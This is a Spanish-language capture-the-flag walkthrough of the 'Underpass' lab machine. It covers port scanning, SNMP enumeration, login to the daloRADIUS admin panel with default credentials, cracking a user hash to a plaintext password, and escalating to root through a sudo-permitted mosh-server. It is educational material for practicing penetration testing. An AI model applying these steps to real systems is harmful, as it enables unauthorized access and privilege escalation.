Underpass
OS: Linux
Dificultad: Fácil
Puntos: 20
Nmap Scan
TCP Scan
ports=$(nmap -p- --min-rate=5000 -T4 10.10.11.48 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sC -sV 10.10.11.48
Nmap scan report for 10.10.11.48
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_ 256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
UDP Scan
nmap --min-rate=5000 -sU 10.10.11.48
Nmap scan report for 10.10.11.48
Host is up (0.12s latency).
Not shown: 993 open|filtered udp ports (no-response)
PORT STATE SERVICE
161/udp open snmp
Enumeracion
Se realizan 2 tipos de escaneos el primero por TCP nos muestra el puerto 22 y 80 mientras que en el escaneo UDP vemos el puerto 161.
SNMP
El puerto 80 solo muestra la pagina por default de apache. Del puerto 161 podemos obtener la siguiente informacion con el comando snmp-check.
snmp-check 10.10.11.48
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
[+] Try to connect to 10.10.11.48:161 using SNMPv1 and community 'public'
[*] System information:
Host IP address : 10.10.11.48
Hostname : UnDerPass.htb is the only daloradius server in the basin!
Description : Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
Contact : steve@underpass.htb
Location : Nevada, U.S.A. but not Vegas
Uptime snmp : 00:15:18.86
Uptime system : 00:15:05.29
System date : 2025-1-2 16:34:00.0
Despues de analizar el output vemos un dominio y algo curioso es la palabra daloradius ya que este es un path del servidor web.
Default Password
Analizamos el repositorio github de daloradius y vemos que hay 3 rutas:
daloradius/app/common
daloradius/app/operators
daloradius/app/users
Las cuales podemos acceder desde la web.
Buscamos en internet si hay algun password por default para acceder al portal y en este documento mencionan lo siguiente.
Login: administrator
Password: radius
Probamos las credenciales en el portal web http://underpass.htb/daloradius/app/operators/login.php y es posible acceder.
User Shell
En el apartado de List users vemos un usuario y un hash.
El hash lo intentamos crackear utilizando crackstation y obtenemos el password en texto plano.
svcMosh : underwaterfriends
Accesso SSH
Con ese usuario y password podemos acceder por SSH.
ssh svcMosh@underpass.htb
Escalada de Privilegios
Verificamos si el usuario bob puede ejecutar comandos como sudo y tiene privilegios para ejecutar el siguiente comando.
sudo -l
Matching Defaults entries for svcMosh on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svcMosh may run the following commands on localhost:
(ALL) NOPASSWD: /usr/bin/mosh-server
Mosh Server
Note
Mosh (Mobile Shell) es una herramienta de acceso remoto similar a SSH (Secure Shell), pero con mejoras que lo hacen más adecuado para conexiones a redes inestables o móviles.
Vemos que es posible levantar un servidor mosh como sudo con el siguiente comando.
sudo mosh-server
Nos regresa informacion del puerto en el cual se esta ejecutando el servidor y un tipo de llave. Comprobamos que el puerto esta abierto por UDP.
netstat -putona
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name Timer
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - off (0.00/0/0)
...[snip]...
udp 0 0 127.0.0.53:53 0.0.0.0:* - off (0.00/0/0)
udp 0 0 0.0.0.0:161 0.0.0.0:* - off (0.00/0/0)
udp 0 0 127.0.0.1:43181 127.0.0.53:53 ESTABLISHED - off (0.00/0/0)
udp 0 0 0.0.0.0:60001 0.0.0.0:* - off (0.00/0/0)
udp 0 0 0.0.0.0:58395 0.0.0.0:* - off (0.00/0/0)
Segun la documentacion en el apartado de Frequently Asked Questions: How do I run the mosh client and server separately?. Mencionan que podemos conectarnos al servicio de la siguiente forma.
MOSH_KEY=uJUPuDCAEtuK1wIBBmuMYg mosh-client 0.0.0.0 60001
Si ejecutamos el comnado anterior directamente nos dara una shell como root.
Referencias
https://www.kali.org/tools/snmpcheck/
https://github.com/lirantal/daloradius
https://github.com/asdaru/freeradius-mysql-daloradius/blob/master/README.md
https://mosh.org/#usage